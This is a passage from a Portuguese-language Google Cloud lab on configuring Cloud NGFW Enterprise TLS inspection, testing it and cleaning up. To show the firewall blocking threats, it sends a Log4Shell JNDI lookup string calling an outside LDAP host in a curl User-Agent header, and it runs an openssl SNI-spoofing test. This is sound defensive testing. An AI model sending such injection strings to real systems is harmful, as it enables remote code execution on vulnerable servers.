caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Importe a política de inspeção de TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Atualize a associação de endpoint para ativar o TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Receba o certificado de CA e adicione-o ao armazenamento de CA do cliente. Isso é necessário para a confiança, já que o NGFW Enterprise estabeleceria o TLS e apresentaria o certificado assinado do pool de CAs:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Transfira o certificado de CA para o cliente:

gcloud compute scp --tunnel-through-iap  $prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Faça SSH na VM, mova o certificado de CA para /usr/local/share/ca-certificates e atualize o armazenamento de CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Saia da VM e continue no Cloud Shell.

Atualizar regra de firewall para inspeção de TLS

gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy  --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect

Validar regras com inspeção de TLS

Inicie uma conexão SSH com a VM pelo IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Envie as solicitações de amostra para os destinos permitidos:

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

Eles devem ser aprovados sem problemas. Se quisermos analisar o certificado e confirmar se ele foi assinado pelo NGFW, podemos executar o seguinte comando:

curl https://ifconfig.me --max-time 2 -vv

Saída esperada:

admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv
*   Trying 34.160.111.145:443...
* Connected to ifconfig.me (34.160.111.145) port 443 (#0)
* ALPN: offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=ifconfig.me
*  start date: Sep 20 07:05:42 2025 GMT
*  expire date: Sep 21 06:58:10 2025 GMT
*  subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691
*  SSL certificate verify ok.
* using HTTP/1.x
> GET / HTTP/1.1
> Host: ifconfig.me
> User-Agent: curl/7.88.1
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Length: 10
< access-control-allow-origin: *
< content-type: text/plain
< date: Sat, 20 Sep 2025 07:05:43 GMT
< via: 1.1 google
< Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
< 
* Connection #0 to host ifconfig.me left intact
x.x.x.x

Na saída acima, podemos ver que a solicitação está sendo inspecionada pelo TLS pelo NGFW Enterprise porque o certificado recebido é assinado pela CA raiz que criamos anteriormente. (campo do emissor)

Validar regras que tentam falsificar SNI com inspeção de TLS

Vamos validar o comportamento agora que a inspeção TLS está ativada.

Execute o seguinte comando openssl para simular o SNI:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

Saída esperada:

CONNECTED(00000003)
write:errno=104
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 317 bytes
Verification: OK
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

Na saída acima, vemos que uma solicitação de spoofing de SNI que funcionava antes agora falha quando a inspeção TLS está ativada. Isso acontece porque, quando a inspeção de TLS está ativada, o NGFW verifica o SNI em relação ao nome alternativo do assunto (SAN) do certificado do servidor. Se não corresponder, o handshake de TLS vai falhar.

Validar domínio/SNI e prevenção de ameaças com inspeção TLS

Agora vamos executar novamente o teste anterior para uma solicitação maliciosa (log4j) a um domínio permitido.

Envie a amostra maliciosa (log4j) para um destino de domínio/SNI permitido:

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

Saída esperada:

000

Esse código de resposta 000 ocorre porque a conexão foi encerrada pelo NGFW devido à detecção de uma ameaça. Podemos coletar uma saída mais detalhada para confirmar.

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv

Saída esperada:

*   Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=www.eicar.org
*  start date: Sep 20 07:50:20 2025 GMT
*  expire date: Sep 21 10:41:22 2025 GMT
*  subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
*  SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
> 
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000

Pelo exemplo acima, vemos que o NGFW realizou a inspeção de TLS e bloqueou a solicitação maliciosa.

Saia da VM:

exit

Siga para a próxima seção para conferir as etapas de limpeza.

19. Etapas de limpeza

Limpeza da configuração básica

Remova as instâncias:

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Remova a política de rede e a associação do Cloud Firewall:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Exclua o Cloud Router e o Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Exclua os endereços IP reservados:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Limpeza de SPG e associações do Firewall do Cloud

Exclua o grupo de perfis de segurança e o perfil de filtragem de ameaças e URL nesta ordem:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles url-filtering \
  delete $prefix-sp \
  --organization $org_id \
  --location=global

Exclua a associação de endpoint do Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Exclua o endpoint do Cloud Firewall, o que pode levar cerca de 20 minutos:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Se quiser, confirme se o endpoint do Cloud NGFW foi excluído executando o comando abaixo:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

O estado do endpoint deve mostrar:

STATE: DELETING

Quando concluído, o endpoint não será mais listado.

[Opcional] Limpeza de TLS

Se você fez as configurações opcionais de inspeção TLS, execute os comandos abaixo para liberar os recursos TLS.

Exclua a política de TLS:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

Desative e exclua a CA raiz e o pool de CAs:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Limpeza de sub-rede e VPC

Por fim, exclua a sub-rede e a rede VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

20. Conclusão e considerações

Este laboratório é muito simples e testa apenas uma VM que acessa a Internet. Em cenários reais, a VPC pode conter vários recursos, com tráfego em todas as direções (N/S e E/W). Como a regra de firewall para filtragem de domínio/SNI é um EGRESS 0.0.0.0/0, ela é uma regra "catch all" e DEVE ser configurada como a regra de menor prioridade na política de rede. Caso contrário, o tráfego vai corresponder inesperadamente e será permitido/negado com base na regra urlFiltering padrão.

Além disso, use Tipos de rede para limitar o escopo. Isso evita que o tráfego E/W corresponda à regra. Ou crie uma regra de permissão de maior prioridade para o tráfego E/W.

Consulte o documento de práticas recomendadas que aborda a filtragem de domínio/SNI em mais detalhes.

21. Parabéns!

Parabéns, você concluiu o Cloud NGFW Enterprise para filtragem de domínio e SNI com inspeção TLS opcional.